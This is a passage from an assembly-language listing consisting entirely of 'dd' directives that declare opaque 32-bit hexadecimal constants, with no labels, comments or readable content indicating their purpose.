0BAA8072h dd 0C0034B5Ah, 919A70E9h, 971D9998h, 0A799468Ch, 218F4E08h dd 5340A25Eh, 0D3194301h, 0C0776130h, 0A9AA0DEDh, 54EC1D8Ch dd 32D0370h, 45CFE08Bh, 0CC02807Fh, 6E985E36h, 0D3A88058h dd 0A4C8A334h, 0DCFAA4h, 24D57E2Fh, 0D3B7B83Dh, 0C7957514h dd 99BA80C4h, 609DEB19h, 0C08B786Ch, 60C1588Eh, 59F5DA2Bh dd 1C831880h, 9A9C51A0h, 1715E0A8h, 0C066D328h, 0B88BA606h dd 6584374h, 0DEFF995h, 7A0BC1ADh, 0CEB5C2h, 0FF9F4D40h dd 38016026h, 957B0B98h, 912CC633h, 161CE39h, 0B901217Eh dd 0DC91BEB5h, 3D00297Dh, 0A14EF598h, 609B8979h, 6D19A85Fh dd 804C0191h, 7EA60066h, 97E09903h, 0A120C035h, 1FECB214h dd 64790760h, 0E63AD2Dh, 0A03DB373h, 40673884h, 89065BF4h dd 19547AECh, 86C951Ch, 5521806Eh, 32790653h, 38DB7476h dd 9D098C46h, 4C0FAAD0h, 8910E4F4h, 0BAB8001Dh, 95095514h dd 256604ACh, 814CB20Fh, 6AAF24h, 0F501D7A5h, 3038309Eh dd 0DCC93769h, 6435CF00h, 46168BA1h, 0E9D79E8h, 0CE1E5921h dd 498FD160h, 714F2A5h, 0CEC05195h, 622F23EEh, 0C6F05865h dd 30751100h, 22ED21Eh, 3218196Fh, 0C0505808h, 999A913Ch dd 4822A746h, 0A4503Dh, 693E7A74h, 37CDBE32h, 108D333h dd 80103853h, 0D93678C1h, 0B0419B98h, 8E49C995h, 0BE423800h dd 0EB00A19Eh, 0CDACF05Ch, 98953C13h, 7469D46Fh, 90475714h dd 0E49085A0h, 60489C3Eh, 0EAD3C3F9h, 7D41009Dh, 0E6321E5Bh dd 0ED3EF8BCh, 0E87C302Fh, 0C9609151h, 38900D99h, 9F005424h dd 804EFA2Ah, 0FC185E65h, 9B301D3Ah, 3C399810h, 0A5B8A57Ah dd 1C80476Ah, 4E08A468h, 2BC2276h, 389D29A0h, 648F3074h dd 0E3E7ED81h, 9DC4531Ch, 81379AE1h, 303FD9A9h, 419D4131h dd 11E024D4h, 0DC622E40h, 94F44400h, 0A9C3AC47h, 21805A98h dd 35268FA9h, 1C09D285h, 138B519Ch, 5601D64h, 0E519090Bh dd 76D66C82h, 0B511E42Ah, 77243E3Ch, 647C380h, 6534ECF8h dd 51634486h, 0DD065F04h, 4C81AFF8h, 0C424AB90h, 8D411236h dd 80442003h, 980FC39Fh, 267CAD2Bh, 54088523h, 16FC087h dd 13B6C370h, 0CCF326D1h, 2F12469Eh, 590AE917h, 9F0E948Eh dd 0DD52EC0h, 7041108Dh, 0B1A89AC7h, 6E3B20A4h, 0DD20EA7Ch dd 2B8E386Ch, 16E9FA89h, 5C0BAC24h, 0F4210600h, 1225CE7h dd 299E232Ch, 30781DD2h, 49042464h, 146CB8ACh, 0E0D51CC0h dd 0F01C03CEh, 0A37AE5DAh, 58EE823h, 0C499C398h, 9B74228Bh dd 0C3716A20h, 2DD40066h, 5240EE3Bh, 91C1119Dh, 62FF1F9Fh dd 10211020h, 38864ADh, 92DD2F89h, 0C82E4FCh, 26B630A2h dd 6CF44508h, 405964F0h, 0DF268E80h, 953B0C36h, 0B91976CBh dd 9D90083Ch, 8080B6A2h, 1824170Eh, 5BD928B3h, 0A4E294h dd 0B41D15Eh, 0EC886573h, 8B185C98h, 0A0D1CB04h, 8B60163h dd 888591AFh, 47FE7Bh, 128031CFh, 0B0396A9Eh, 1379C98h dd 8339890Ah, 23F00410h, 7D03B358h, 0A42BAEC3h, 11209A62h dd 0AC376h, 0D0DA376Ah, 3E506626h, 0A1A4AC50h, 0B8B57F8Ch dd 0B0A4492Ch, 87802488h, 0CF8C268Dh, 5AA80B69h, 8500A498h dd 16972F2Ah, 5791130Ah, 4300878Ch, 0E0ADE821h, 7BE0A0ABh dd 105E26FFh, 62909D40h, 7D283A00h, 0CC4ABA11h, 5F2300C2h dd 0E231C022h, 9E19DCFDh, 0CD3953E7h, 39B9D43h, 5D256750h dd 5A97E16Bh, 342303B8h, 584C15E8h, 5B1B1088h, 0BD072004h dd 70DC83D2h, 0B8A2C826h, 2ACED000h, 2B97819h, 0B6E7E6B8h dd 34E05960h, 0A9559007h, 40B801B0h, 89A0C0Ch, 852B33C3h dd 60409FC4h, 0A5B7C373h, 540136E6h, 0E69B07F5h, 30608AEDh dd 0AE048C5Eh, 0B7996491h, 2F2E7462h, 604C4EB6h, 0FE4B10C3h dd 68D60626h, 71939207h, 0D04DCB2Ah, 0DBA7B300h, 0D616E560h dd 0E7260048h, 1F35195Eh, 0BCF436EAh, 0BC703D4Ch, 0C2008C6Fh dd 8D78C899h, 0B0DEFEBFh, 3AB30034h, 0A3AC52DFh, 0A009356Ch dd 401DF5EBh, 552F9F48h, 344EA8BDh, 0FDC03E88h, 11ECAD7h dd 47AE1A80h, 50075703h, 0AB71518Ch, 0FCFB2228h, 44B1B301h dd 32FDFE1Ch, 3E5FF4FCh, 81171908h, 90E44EF1h, 8E755204h dd 0C19CC8CCh, 0CCCE4D21h, 6B506DEDh, 0A08C41E4h, 0E9997DFFh dd 43871473h, 60C9A7B7h, 39D2C1CFh, 804C1358h, 1D3504A7h dd 2907E477h, 11EC9D91h, 442F0033h, 0A73109D0h, 0FA260045h dd 7E6D8605h, 0CA12E7FEh, 30428843h, 0EB1FE111h, 6669C0A4h dd 0CF350987h, 0A048EC07h, 0D928D22Bh, 790C8CFDh, 31898791h dd 321C02A9h, 0C10CA4Bh, 3EF0910h, 4441651h, 0B93B6D39h dd 7A69807Fh, 0E5739415h, 0CE451DD8h, 5870829Dh, 24513E1Eh dd 0FB18FC71h, 3AA58C0Ah, 4F12B4CBh, 198088h, 0B2333F8Ah dd 0C1F6021Eh, 0FA9CFD0Eh, 8BC980F8h, 8894EAC0h, 4403CCC3h dd 8A074087h, 13C97792h, 400485CEh, 64C29548h, 7E047969h dd 0A85299ACh, 0AE2D6081h, 6CCD3C02h, 3DC50BE0h, 0F5A202C4h dd 8320D5F6h, 871760C8h, 0D9616421h, 51691836h, 20F2E41Fh dd 2938F94Ah, 0CF4502Ch dd 17FF1901h, 40647AC1h, 4AB2742Bh, 2DBC0044h, 344F0C51h dd 32CA84A0h, 0D745F81Eh, 0CDE24A00h, 2CC4389h, 33C6F02Ch dd 808462D1h, 0C36460B2h, 752B23ADh, 6E2C9D11h, 82620744h dd 0F8B319CEh, 1A4F023h, 0F45B2688h, 20E6195Ch, 77274082h dd 3EA63B3Fh, 4CCD860h, 0B09EA2Ah, 0F7740416h, 4AF8095Ah dd 0FD93C018h, 1FB8A0B1h, 9C5C12E0h, 4D204245h, 50506AFFh dd 0A00FCD31h, 4B0103FAh, 79D4241Fh, 1B929000h, 2C2E20EFh dd 309CA0CDh, 60D6601Eh, 72E631D0h, 0B89CAE73h, 4C0321DEh dd 0D47F1D08h, 0FE232084h, 6CC2473h, 0D14C56C1h, 0E5031A00h dd 12C9505Bh, 0EE07FA3h, 6DD0888Bh, 0A6AD4F60h, 0CBF4CA4Dh dd 0BC743958h, 7F048C9Ch, 1E31D799h, 16CBB4D0h, 5DF924EBh dd 88133FC0h, 55305F83h, 0C400D46Bh, 0F0E549A5h, 0FE3A0905h dd 2ED389A9h, 620C612Ah, 22A0B030h, 0B100184Bh, 0B4B2896Bh dd 4920CE2h, 339F90DFh, 1410E44Dh, 7DC7A30Dh, 844288EAh dd 0E3C4E682h, 0B9B6C48h, 8D2B3CC3h, 637BC49Ch, 0FE28C300h dd 0A57E9749h, 65D920B7h, 465E689Ch, 3B740075h, 9965512Ch dd 1BB5015Ch, 27E79FFAh, 990226Ah, 0E26F1F7Bh, 0BE348020h dd 0A4DDBCh, 687754A8h, 0A6EB7640h, 5163FC0Eh, 0F16F807Ah dd 92D323h, 85070805h, 90DB52C6h, 93D1B00h, 0A0A6953Bh dd 0EBB000F3h, 0A9D0916Eh, 0C001B9EDh, 6DD97B66h, 0CEE49F20h dd 0A1700109h, 345B9C8Dh, 8533FC2Ah, 0C027F21Eh, 7A3AC200h dd 0BA7DFDh, 3B54494h, 0F3A38347h, 0F9C1E82Ch, 89E6FA00h dd 1BE186h, 70AB45C2h, 78EEEA96h, 0C08AE63h, 0B8200095h dd 0F66845BAh, 99FC6AB3h, 0F28DE204h, 0C0EBD1DEh, 5A985EB0h dd 0F9AB7C00h, 0B48E57Fh, 18E76987h, 86945A00h, 0EE725961h dd 79F46F07h, 182CE8FBh, 990C8E1h, 145C0C0h, 0F18F370h dd 0B8A231C0h, 0A54645h, 8D5E09CCh, 7EAD244Ah, 0D9A32703h dd 0E1A18AF4h, 68BE77C0h, 25BBFF06h, 0FE1018F7h, 7849630h dd 471F01CDh, 9006625Ch, 731828C4h, 9DBD4A40h, 6CB04C60h dd 2C07BA00h, 16F1A18Bh, 0F2000BFh, 0AE363DB5h, 531C6D9Dh dd 0D4C7F26Eh, 24D0682Bh, 0BBED0Eh, 0CDB673E2h, 0F670E8BAh dd 56399702h, 0C04BD7AEh, 9E0AA9Ch, 0B3600C20h, 0A36BAD00h dd 0A80399DCh, 9C19AD3Ch, 7550F787h, 0F7C791h, 4E09D4C5h dd 4B5CD9EBh, 11ED0400h, 8705A1BFh, 229D0014h, 0CE2474D0h dd 76C1E0D6h, 0C3AB80C7h, 6D058E5h, 6338C02Fh, 0E1A302ACh dd 0B47A77E8h, 701718C0h, 6762E3EFh, 80A811D0h, 59D92E2Dh dd 5F3271C1h, 0AAC876FBh, 3CA000A1h, 24DDCA14h, 0DB1F8439h dd 1CB91673h, 0ED102D5Eh, 7ADD5B01h, 0E482B655h, 3E00970Eh dd 96802C50h, 0F81EA5ABh, 0B227007Dh, 9C2FF3F5h, 0B11991D0h dd 5F40EC23h, 3AB98F8h, 9E8C5A33h, 95A0692Ch, 8000F204h dd 5D058FBAh, 78D885F9h, 33CF901Fh, 2FB0A064h, 51B8FABBh dd 7660247Dh, 94D368F0h, 393100A6h, 0E8AA365Eh, 8400182Eh dd 0EB28F49Ch, 38FD633h, 8DD95922h, 0A2FB14FEh, 4A1112Bh dd 67725EF8h, 0C0CC10AFh, 6692349Eh, 0C733DE00h, 9AFC9648h dd 68C10060h, 0F29CA6D2h, 477A7BECh, 0B1A35A00h, 6B24ED7Eh dd 0E9F43Dh, 0B5E89987h, 6D67F397h, 0DB068B00h, 257A5623h dd 96861FFDh, 882880ECh, 0FE59D24Bh, 57F87D00h, 619D0D2Dh dd 0B99F0B0Fh, 5307F965h, 94DFA02Fh, 0A900A4F1h, 3DA8BC4Bh dd 2A6AE5h, 0EB18C27Ah, 0C35FE0EFh, 1FB80700h, 0AE24CD8Eh dd 0D22300E8h, 0B1EF14FFh, 880C6BA4h, 78BE6635h, 16EA001Dh dd 87A7433Ah, 810E55FAh, 0A052BB89h, 0E392BC5Fh, 0B2FD0EF1h dd 401BC51Fh, 508EEDC0h, 0D9994C00h, 13C25F68h, 609C0040h dd 380ADD41h, 6F039681h, 4E8E6A43h, 0A852F0A3h, 60F0EC7Ch dd 0D8825856h, 0DB2E81D0h, 0B901B10Bh, 6E8701B3h, 0A30021BBh dd 727AFD05h, 1C00B6BAh, 3E49C6A6h, 48A54C48h, 4E0086D8h dd 0B8CFBDBEh, 0DD0B8C85h, 80F9562Dh, 0A9E61154h, 0BCE00F26h dd 6EE0D0DCh, 638DD3F4h, 0A61E3FE8h, 9700128Fh, 0A25668F8h dd 1CEB0006h, 640C80B7h, 1F0E6640h, 60A9E15Eh, 8429E387h dd 2892040Ah, 805B6A16h, 9847A51Ch, 0DD6D6C2Ch, 6B00F838h dd 41D13FA4h, 0FBBEFC72h, 532B440h, 0EE7D3F07h, 0EF50EC07h dd 76E80031h, 0A703289Ch, 72BF6912h, 0BAFDEB3Ch, 5E4C4833h dd 1E8A0047h, 23CE2B53h, 0FB00D50Eh, 2610C6BCh, 0B11E50Dh dd 0C54779A0h, 1EA71287h, 40B2F9CEh, 9B97A62Ch, 50FCD41Eh dd 0A086AB16h, 79103600h, 999A73h, 0E7142172h, 56E37A87h dd 62206800h, 0CE1E9DC7h, 863300F6h, 4E34CB31h, 0E80012D3h dd 0E34B7F41h, 0B065FE20h, 0F8882CB2h, 9BBD00DBh, 6F5DFA73h dd 0E4CC1028h, 3100E27Eh, 8228834Bh, 5F58DDh, 612D8920h dd 70B48A52h, 0B86E0B00h, 90842DFh, 28A87433h, 2A0E6BAh dd 15AA7A39h, 0F8486BDDh, 64008D97h, 8BF9512Ah, 1C2124Ch dd 2D28DACBh, 0D8D91707h, 0DE00DBE4h, 0F43C2752h, 3A20E909h dd 0A000D0FFh, 0BEC6CE74h, 150EA9ADh, 87968231h, 0A2902367h dd 9A1F085Eh, 9860540Ch, 7C96004Ah, 4B416607h, 7700C269h dd 5CB08E4Ch, 625359h, 7EBE744Eh, 50FA6B05h, 1D2C60BDh dd 355D00BAh, 0E90A45E1h, 6E00A141h, 0D7C7D878h, 87545Ah dd 0E40C26A7h, 0A5FC22D3h, 0C9091892h, 83A6A0h, 0F2706244h dd 51D93ED8h, 0C823E509h, 0C8BBDC04h, 871EF780h, 31007E73h dd 3950A490h, 0CE7842h, 823C4EA1h, 0AE5E215Bh, 56711616h dd 46531103h, 3E48D0D3h, 44B03810h, 47D02C9Dh, 1C07E04h dd 0DC9628DDh, 0F00117AEh, 0D517FEDh, 0F5C42C79h, 0C2A01F1Ch dd 80841F55h, 88B721C5h, 9203D138h, 7C78D7E9h, 0DBCDB086h dd 0D3520047h, 355FE620h, 5A00957Eh, 544541F3h, 0D8C3Ch dd 1ABCBB64h, 0A09D9A4Bh, 0A5C09507h, 708DCA82h, 152ADE4h dd 0E8C18F57h, 0C410F5B7h, 0A324D59Fh, 0A90084B2h, 494329A0h dd 188F0EB6h, 622070C1h, 0CFE4CE4Ch, 77263600h, 5C01750h dd 9F800FEh, 0CBE0449Fh, 0C804EC11h, 26E12B52h, 74ADBC80h dd 0FF8601A2h, 69989482h, 84CFDC3Fh, 67D041EFh, 57ABF851h dd 0A3522B00h, 9ADD348Ah, 0A4F5509Bh, 9C6F0069h, 0E2297BFAh dd 0BC003F47h, 0DD77D4C0h, 15F595Dh, 0CFAD4CF8h, 301D8539h dd 6AFA0409h, 67F46100h, 0B5C8FB64h, 3645007Ch, 0E46618CAh dd 0DD005786h, 0DA5D9412h, 0A5B79Ch, 0B9F23846h, 6CA5CFAh dd 0A603B2EEh, 0CEBD69E4h, 0C9DB90EBh, 0F80E0974h, 180025C2h dd 26E5B24Eh, 947C8B06h, 2629361Ah, 0E5EED44h, 59C25064h dd 24682F6Fh, 797E196Ch, 0D1D56A03h, 0B8483928h, 8E2252h dd 18B12696h, 0CD7686D0h, 0F27E4B7Ch, 78990300h, 904129DAh dd 16D11858h, 3BA22146h, 0C20002E4h, 872EA3D6h, 79079590h dd 2B3EC61h, 607D4F92h, 94A25E53h, 78487AEEh, 39147895h dd 1FB0DCC0h, 1003D64Dh, 0F7A6CB75h, 5181DBD1h, 0BF19DCh dd 244E884Ch, 30B00E2Fh, 0E6009DE4h, 12A5BE4h, 0B2F534h dd 4595A139h, 0D68BF4A3h, 7FF2D8FEh, 0E0245AEEh, 0D1004004h dd 965FA5B5h, 0A0E66024h, 3F93A93Bh, 0F82BF5Ch, 3EDACCh dd 0E9F041D3h, 8E440114h, 0BB39A616h, 6D93021h, 9F9CB103h dd 883C1712h, 1E29AD32h, 3961CF5Dh, 0DF879B80h, 1A1823AAh dd 66E98E01h, 0F3EEA850h dd 9EA47280h, 6EE28B90h, 0DB574700h, 22E3A7E1h, 0E594070Eh dd 20F515D7h, 6F18FF85h, 0C3F7F607h, 25E06480h, 0A7784Dh dd 22572CCEh, 0E39956D0h, 559A5A00h, 0A5015244h, 0C89D1EA4h dd 0DCCBC17Ah, 0F4EDFA8Eh, 0D90008A1h, 0F82D1930h, 76D61Ah dd 65CF696h, 86E1A68Bh, 2B5EA501h, 0E9C4546Fh, 0B080B0B9h dd 80DA0378h, 0C900A2A4h, 5B866FD0h, 0C2BCE8h, 0D29510ADh dd 81B7C544h, 0A80BC700h, 24F8728Ah, 0F840292h, 5B8E38AEh dd 0DC42DA82h, 8535D8E8h, 0F745F900h, 0E41A6E18h, 2BB87Eh dd 48B0D16Ch, 0F5FF0AA6h, 75D39B00h, 0E56540FEh, 9F08A04Ch dd 12460077h, 228E7FD7h, 5C58F171h, 274A00E8h, 0C154EF45h dd 0AD9F26DBh, 0EB92B9B0h, 0A4148067h, 6E078DD5h, 118E3DBCh dd 6023FC41h, 0D82100C7h, 6FA5ADD4h, 0CB3A6625h, 0A12004Ah dd 86B1FDAh, 80F90767h, 0A70E9C27h, 0F0B630EEh, 41DAFC8h dd 0DC0567Ah, 0C5A7A18Eh, 0D6BD306Ah, 253ACB58h, 32E2A502h dd 60863D80h, 0BA276EE8h, 3FB90314h, 79CB6D25h, 0C8FFDE2h dd 0BDC59AA0h, 0ED07468Eh, 814851F4h, 0FF15DB40h, 99F2005Eh dd 25F5DA42h, 64001A7Ah, 2133D2E4h, 0F44180A2h, 4C3EE811h dd 131C2155h, 7B5D000Ah, 30F8A32Ah, 0EF672400h, 81C7FA8Ch dd 0F94D0011h, 0E978CC5Fh, 0F7007D1Ah, 63700F5Ch, 3B7F3CDCh dd 26000296h, 0CE2C69D3h, 0FA00FED4h, 1BA8A0D2h, 0D8BF9Ah dd 60AF7059h, 5311A257h, 3900FCA4h, 0B6476109h, 32668665h dd 0E108EE5Eh, 0FF1C0C69h, 0E6858188h, 360099FAh, 0DA8290A7h dd 2DFCB33h, 60979D3Eh, 8468C9D6h, 0DB7B9BB9h, 1B80AF00h dd 98A4FD2Dh, 27DF0CC5h, 0D3580629h, 0DA77D90Ah, 3980F03Dh dd 0B3E9F107h, 268E0C15h, 6A0805A6h, 0EE1B21C0h, 1F1DF2h dd 0DA8D3C3Eh, 2A92A507h, 9BB46B03h, 9F2E9896h, 4029987Dh dd 0EE5B6803h, 11003EEBh, 7A9C4382h, 0E241ACBh, 2527B3AEh dd 209D1896h, 9C7036F3h, 0ACF03E00h, 807DB8D3h, 6FE736BEh dd 1B215058h, 9C2880EAh, 25D2CB0Bh, 213B6086h, 0B09CF0E4h dd 0DF8C1300h, 5AA37FE2h, 32210058h, 2925C8CBh, 0B1C331F1h dd 0F07E6A81h, 1946E74Bh, 8E923C5h, 0E1AC502Dh, 4F757E52h dd 0B4DECB0Fh, 805B6091h, 0D038905Eh, 0D400BDA0h, 0C7B8CAFDh dd 0C600AA30h, 49187420h, 0F1B2D0Dh, 5BF52F36h, 90EBF3A0h dd 2200C929h, 8BA9601h, 111C85h, 536E9FBBh, 768027B7h dd 779E2B00h, 33190236h, 31CF00D2h, 0D55AB865h, 0FE3E6455h dd 0FC2F0016h, 0A861BD28h, 5143000Fh, 0D283A0BCh, 5E00C750h dd 0D4F485ACh, 0C053B523h, 0BD2DDD10h, 0D7074E15h, 73FB1893h dd 342186Ch, 75595455h, 0BBCC4F4h, 359086EAh, 13C00C0h dd 5C9031Dh, 1F66FD5Bh, 3028886Ch, 0BB91B964h, 5226C2E6h dd 0AF00275Fh, 0A62D6E8Ch, 0DC960E45h, 0C07DD96Dh, 0CBB87431h dd 8B00946Ch, 56F11DEDh, 3A1506B0h, 0BA8017DEh, 7F5A649Fh dd 0FB1D559Eh, 0BE1E2814h, 90378B0Ch, 2439035Eh, 408FDD61h dd 870080C6h, 17D4D249h, 0EBBBE4h, 96EC7055h, 8FE883C8h dd 8000FCF0h, 1924AD86h, 0A32E08h, 0B0E4AB28h, 49A1B685h dd 0A2001471h, 0FE9020F9h, 39D9657h, 8864D6E3h, 0A0A71E5Eh dd 0B6379A19h, 8975E43Fh, 80E1C102h, 74D9DC16h, 342400F4h dd 694EA25Dh, 2C00D31Ah, 87ADD781h, 14BCFFh, 84D49A61h dd 1EDA0FEAh, 34DE3100h, 9D9741DFh, 2D13007Ah, 80A53817h dd 7E031BB9h, 3391784Eh, 0DB080062h, 1D586D05h, 0AF004FADh dd 0D2A29717h, 1DC3722Ah, 40B981ABh, 802E0560h, 3C7BA973h dd 0E5AE7C00h, 991334F2h, 2DF8005Dh, 0E0F031F7h, 8276F953h dd 0FF727D00h, 0DE79EEECh, 40E10028h, 0EBAD51A9h, 0FE0041C9h dd 88294353h, 1784CCAh, 6348FD30h, 0E4F990E9h, 0DB0707E5h dd 3684E41h, 0DD8D2A00h, 0F7F847h, 0FA4449Eh, 25B12055h dd 0BEB43700h, 0BA4EC4BDh, 8FD502CDh, 2226B03Ah, 6BBFA80h dd 28079029h, 0C0D4501Eh, 9D01B68Ah, 0A9D75511h, 9DC8119Eh dd 8660C0D0h, 0A7E870Eh, 91013174h, 0B92996C3h, 0DC40D738h dd 1745DBEh, 59ABC083h, 0E881C9B4h, 0AD00DFE4h, 0C367D0F7h dd 491CA9h, 0B5CCC229h, 8C80FECEh, 30266C07h, 0F4208918h dd 0B7798Fh, 5FD97512h, 0F910134h, 53ABF900h, 46C96DF7h dd 0CE240585h, 44611E8Bh, 806FC590h, 816D5915h, 1F00457Bh dd 9E66EF06h, 0C0D39h, 0C2C8B899h, 0AF2CDACEh, 0A7153700h dd 625D7577h, 0EE0D0125h, 0B1890540h, 4883C0CDh, 90A31303h dd 0E1D01A1Fh, 83405704h, 1D088ABBh, 39BD6196h, 0E973FA00h dd 0CB43A111h, 0A49D2300h, 0DADBB448h, 0A2B0BEh, 2B465271h dd 8B96FA5Eh, 9E658900h, 56FB7E9Ch, 52BD0762h, 404E5438h dd 11C6C257h, 76514600h, 0ABAFA061h, 0CA79E0h, 3E39B1Ah dd 30E974D3h, 4A720500h, 0FF46F12h, 0E0C401BEh, 8890E171h dd 30A2FC11h, 56967300h, 322E42B8h, 0B1E800F6h, 9CD16629h dd 54017B12h, 90E496D0h, 90DF884Bh, 4D49ECh, 0CD0A835Eh dd 9F8BC5A2h, 0A42CAA3Eh, 28006480h, 6415F64h, 2A760E24h dd 0CBE0B1C2h, 0B6F71DE0h, 0FBF8100h, 0BE8E4252h, 766F84Ah dd 51AF9F68h, 0A646F0DEh, 2D00E3A0h, 1B559A31h, 38BCFC76h dd 1F80EA22h, 4E7F26FBh, 7D0EB5D2h, 0F3F524h, 0AD19C3B8h dd 0B7350006h, 6C0189BEh, 9300E870h, 21E6420Dh, 95EDFCh dd 784BF40Ch, 0C2D1AB8Bh, 9C3CC712h, 3A374700h, 0B8E9E3h dd 0C5C347EAh, 0F6276507h, 8797B503h, 0F0140169h, 48DA690h dd 2CC0B3A1h, 5708267h, 8122D7E0h, 30B05800h, 2ED889BFh dd 69420037h, 512D1E72h, 0DA00F638h, 0FFF4E6C1h, 0E804329Eh dd 3CC50780h, 8035684Dh, 5F7A2450h, 82737E3Fh, 4B11B485h dd 6BDC80DBh, 2521C33h, 34B164C7h, 0B0406D41h, 9D00CAC5h dd 9936D072h, 24DE02h, 0EB324590h, 9233DFE0h, 5CB9D60Eh dd 0FBA98046h, 0FC0EECACh, 0BAC92F5h, 0E581D285h, 0D4171600h dd 7800B1A4h, 0FE3B5512h, 77FD23B0h, 0D2E00027h, 0B2C32695h dd 0BD04BA07h, 0A920DF98h, 8E0069A8h, 0DDCC7F72h, 0FA03279Ah dd 7950A889h, 0A0E801B4h, 0A4D863B8h, 24243054h, 38D29320h dd 2E7D1E4Bh, 648D38h, 8FEBE550h, 35FA6473h, 0F2DD7D00h dd 6D1BF181h, 266C7CBFh, 1918BB4h, 0FDDCF5FCh, 0E88FC844h dd 0E9CDA802h, 0E1DB943Dh, 9881991Eh, 0AFD49D26h, 4B702438h dd 0D218CEF0h, 70119B85h, 954107F5h, 30C8AD8Fh, 0FA7E1420h dd 70AB7730h, 7D62557h, 80B3CE78h, 41BB4790h, 41C8069Ch dd 0F1ABE8C4h, 0EC5CF095h, 0A969CB30h, 9A60B4B0h, 0EE910084h dd 0CEE4F34Ah, 5807C849h, 4E4C2B8Ah, 18B831B0h, 0B74618B1h dd 0A13C20F5h, 6C387660h, 0C097389Ch, 808BE850h, 40E969E5h dd 4592FF2Ch, 0B6C00700h, 48FBA14Eh, 0F4AB004Ah, 0E3972B55h dd 5876683Fh, 22057C01h, 1719E8F9h, 503F704Ch, 7FF385Eh dd 11E88B5Ch, 0FD33406Ah, 0AC503C55h, 40EBE510h, 0E8D9311Ch dd 1DB4F200h, 50BE5DCFh, 0AD59480Ch, 0DF965800h, 159D9B2Bh dd 6BC0D300h, 5065B7AAh, 0A7080029h, 40369451h, 8A7E9274h dd 8B002BE8h, 0E07F59FFh, 8FF7C0h, 671358BBh, 966F9A1Ch dd 6C7D5200h, 1EBA7297h, 48F01C6Bh, 560945DFh, 15BC5274h dd 0BE3E90C8h, 1959E518h, 0B9C08E88h, 0E9906892h, 1E99485Fh dd 7A7C71Dh, 20F6F041h dd 0C31479D5h, 9D1CA05h, 2C0337FEh, 9B115F7Eh, 61E6B7h dd 3EB1498Fh, 80D144A9h, 81782100h, 427F8FCh, 297360B7h dd 15A5FD3Eh, 931E0AFCh, 0F281A6ADh, 0EA94B1AAh, 65DDB2E1h dd 6F7C6980h, 5939DD16h, 0ABC51503h, 0D1E848F1h, 19F82D93h dd 0BF302E7h, 1CEFED99h, 0D6393844h, 0DB67807Dh, 0CE01EC2Fh dd 9DA20011h, 60462018h, 407A2878h, 0F22CDFE8h, 0C800BF0Bh dd 3BDCB462h, 0F8B8D5h, 4C513F6Ch, 123998DBh, 0C2F0C300h dd 0C56E5414h, 63F80676h, 0D9EFB47Ch, 0F208F100h, 0F91F6A5Fh dd 7034003Ah, 0D416658Ch, 0A035990h, 1422814Fh, 898EA060h dd 249279h, 547CE89Eh, 249D1738h, 0F77DE0FFh, 0EC283Ah dd 2B70E53Ch, 0C306DD1h, 51080ACDh, 0B9076438h, 68FDE69Dh dd 0D004E3F0h, 0B8E899h, 0DFF6E4EDh, 75CD790Bh, 0FA869F00h dd 0F5D13418h, 0B8882461h, 402D9F00h, 0F2A88AB1h, 38CEB411h dd 6A3C2114h, 309E9071h, 17ED41BAh, 808C6E84h, 69AB9739h dd 75A88809h, 456F0096h, 5BFBE430h, 0F03959A0h, 23C000A6h dd 3DBD4F29h, 1583015h, 2C9E1050h, 0C6D68D00h, 0E1A2B98Eh dd 0F90A127Ch, 0B150226Fh, 839BBC20h, 4230007Eh, 84D4470Bh dd 0F0C0DC62h, 0F637CA2Bh, 178015CBh, 0EC07C41Eh, 0D3048DBFh dd 1C90A99Ch, 93080DCh, 0A5F22161h, 0C4861589h, 2A09F4D9h dd 0B080666Ah, 3211370Fh, 1DE6FB00h, 20CFFD2Ch, 2DE80285h dd 0D96563A2h, 22779480h, 0B6009F7Bh, 27B98446h, 4C87A1DFh dd 0F1C100Bh, 925A42DCh, 45208F6Dh, 16042DAh, 8A9DEFADh dd 0E09F4F14h, 0A70BA81Fh, 8043DF3Ah, 0A04BD0A6h, 2781027Ah dd 8A8EF592h, 0E4151444h, 15C15AAh, 464018AFh, 61D82EBDh dd 0F962006Ah, 8ED53653h, 39C37A9Eh, 5A5E8D7h, 343DE89h dd 73B4404Eh, 6BAF01ADh, 0EF26A3E6h, 3A470C6Eh, 0F0C65913h dd 5F8F69h, 0BB52009h, 16FBD9F2h, 0C3ED0701h, 7CE38E1Ch dd 80E56983h, 27EB4232h, 8C62F5E1h, 71601D19h, 0F2520033h dd 0B42D47B5h, 8300FB5Ch, 911AD34h, 0FB986302h, 0B1E9D4D4h dd 601C24ECh, 0ED40A338h, 9EACC700h, 0E17A3CC4h, 0ABD8000Bh dd 0AF7C7FE8h, 0C1C0946Dh, 25D904B7h, 9F36027Ah, 0D7C5FDCCh dd 0FE1C9CA0h, 5A005272h, 7D63DCF0h, 506A4Bh, 46908392h dd 34EE1F81h, 4EE24C00h, 0E74598FEh, 75A7000Ah, 7B147E3Ch dd 520182A9h, 64F0047Ch, 0C20DC40h, 18E0271h, 1522F5C8h dd 0B87C1040h, 0B4D6A013h, 0D7479420h, 81FE07AFh, 0F043FBDDh dd 941A0FC8h, 8E12F00Ah, 9160F8ECh, 99FA0A60h, 929D006Ch dd 0B7170D1Dh, 6251ED61h, 8E8022BCh, 1C7C9D75h, 0CF0178DEh dd 42D121FDh, 3DE0FA79h, 0F5931268h, 0CDF44081h, 5290D54Ch dd 82A4F302h, 0C4FD0A48h, 48F7481Ch, 7E8CAB00h, 2C86E5BCh dd 8123EC3Eh, 0B9D1E26h, 4F7191EDh, 3DB808h, 6544385Eh dd 3649F11Eh, 2C805491h, 69568510h, 294300D6h, 9CEB30A3h dd 14905E05h, 8481917Eh, 275A020h, 0A5D14042h, 0C861A7FFh dd 5A88507Ch, 7D003D7Bh, 0B9C7B6DAh, 187AB8D5h, 0B9861DA2h dd 490099FFh, 25878C2h, 794740h, 0F5198D4Dh, 68C90DBh dd 0E89C530Bh, 0CC1C034Fh, 0B881EF9Dh, 0C4301FFFh, 0F4ED3E57h dd 0BFBADF8Fh, 20D91D8Fh, 6D85C433h, 0B3F1BB60h, 8C24CEh dd 90815C2Eh, 0A86883C1h, 0FA171F00h, 30BB024Eh, 9D8E192Ah dd 0FC94E188h, 825C4DE6h, 2DF600D7h, 1CE37ED2h, 0C86D5140h dd 6180BCE9h, 88E4A252h, 0B0CF4649h, 9D2AC162h, 1F3FD00Dh dd 381D4127h, 0F09C4C87h, 2905F8F1h, 0AB46DE40h, 0B77FA401h dd 60C422D6h, 0A57E0E87h, 0BE22B69Ch, 0C46F4Ch, 0DD4B6A00h dd 1DED25D4h, 7447489Bh, 7CB47E09h, 0CF4F3020h, 0B300CD82h dd 60EA54F1h, 58E2F722h, 0AD16CF15h, 